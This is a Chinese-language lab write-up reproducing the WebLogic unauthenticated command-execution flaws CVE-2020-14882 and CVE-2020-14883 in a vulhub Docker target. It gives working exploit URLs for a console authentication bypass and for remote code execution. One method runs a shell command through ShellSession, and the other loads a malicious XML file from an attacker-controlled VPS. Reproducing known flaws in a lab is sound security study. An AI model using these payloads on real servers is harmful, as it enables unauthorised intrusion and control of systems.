CVE-2020-14882&14883:weblogic 未授权命令执行漏洞复现

目录

 

1.Weblogic简介

2.漏洞描述

3.漏洞影响

4.环境搭建

4.1 使用docker搭建靶机

4.2 漏洞复现

5.漏洞分析

5.1 搭建调试环境


1.Weblogic简介

Oracle WebLogic Server是用于构建和部署企业Java EE应用程序的业界最佳应用程序服务器,并支持新功能,这些新功能可降低运营成本,提高性能,增强可伸缩性并支持Oracle Applications产品组合。

这是一个Java的中间件,本人是这么理解的那要想更加详细的理解请查看官方介绍【官方介绍】。

2.漏洞描述

复现漏洞编号CVE-2020-14882,CVE-2020-14883

可以构造特殊的HTTP请求,在未经身份验证的情况下访问Weblogic Server Console,并且还能执行任意代码。

3.漏洞影响

weblogic 10.3.6.0.0

weblogic 12.1.3.0.0

weblogic 12.2.1.3.0

weblogic 12.2.1.4.0

weblogic 14.1.1.0.0

4.环境搭建

搭建WeblogicServer的环境可以尝试下载官方提供的应用,在本地搭建,本地搭建需要JAVA环境。至于教程请自行百度!

下载地址:https://www.oracle.com/middleware/technologies/weblogic-server-downloads.html

在本次复现实验里直接采用docker环境,使用vulhub环境,可以直接复现,会省去很多步骤。复现环境使用12.2.1.3-2018 tag镜像。

4.1 使用docker搭建靶机

获取镜像

docker pull vulhub/weblogic:12.2.1.3-2018

CVE-2020-14882&14883:weblogic 未授权命令执行漏洞复现_第1张图片

创建一个容器,并且将容器的端口映射到宿主机的端口

docker run -di -p 7001:7001 -p 8055:8055 vulhub/weblogic:12.2.1.3-2018

启动成功后使用浏览器访问

CVE-2020-14882&14883:weblogic 未授权命令执行漏洞复现_第2张图片

4.2 漏洞复现

使用POC进行越权,利用该url可以直接访问到管理后台页面

http://192.168.204.142:7001/console/css/%252e%252e%252fconsole.portal

CVE-2020-14882&14883:weblogic 未授权命令执行漏洞复现_第3张图片

此时获取的权限是一个低权限用户,到这一步还无法执行命令,此时就要结合CVE-2020-14883,利用该漏洞可以通过http协议使后台任意用户执行任意命令。作为攻击者可以构造特殊的HTTP请求,在未验证身份的情况下执行任意代码。

在此提供两种该漏洞的利用方式

方法一:利用com.tangosol.coherence.mvel2.sh.ShellSession 

执行poc如下:

http://192.168.204.142:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27touch /tmp/pocIsok%27);%22);

需要注意的是执行完poc后的页面回显为404,也表示命令执行成功了,我看有大佬的文章抓包获取到的回显结果为302,可能是靶机的环境有细微的区别。 

CVE-2020-14882&14883:weblogic 未授权命令执行漏洞复现_第4张图片

结果截图 

 方法二:利用com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext

本方法对所有的Weblogic版本均有效,前提是需要有一个公网的vps,搭建临时的http服务,构建恶意的xml,并保证能狗访问。建议使用python临时开启http服务。

CVE-2020-14882&14883:weblogic 未授权命令执行漏洞复现_第5张图片

CVE-2020-14882&14883:weblogic 未授权命令执行漏洞复现_第6张图片

构造的恶意xml内容:



    
        
          
            bash
            -c
            
          
        
    

 通过DNSlog平台查看回显,执行POC加载vps上的xml,执行其中的命令

http://127.0.0.1:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext(%22http://XX.XX.XX.XX:8085/weblogic/evil.xml%22)

CVE-2020-14882&14883:weblogic 未授权命令执行漏洞复现_第7张图片

 查看回显

CVE-2020-14882&14883:weblogic 未授权命令执行漏洞复现_第8张图片

5.漏洞分析

5.1 搭建调试环境

首先需要开启远程调试环境,进入docker容器内部修改setDomainEnv.sh,在docker里需要将该文件复制到宿主机内,然后再拷贝进去。

CVE-2020-14882&14883:weblogic 未授权命令执行漏洞复现_第9张图片

参考链接:https://mp.weixin.qq.com/s/oVL9D69Xrdoez6T-sheJLg

你可能感兴趣的:(漏洞学习,安全)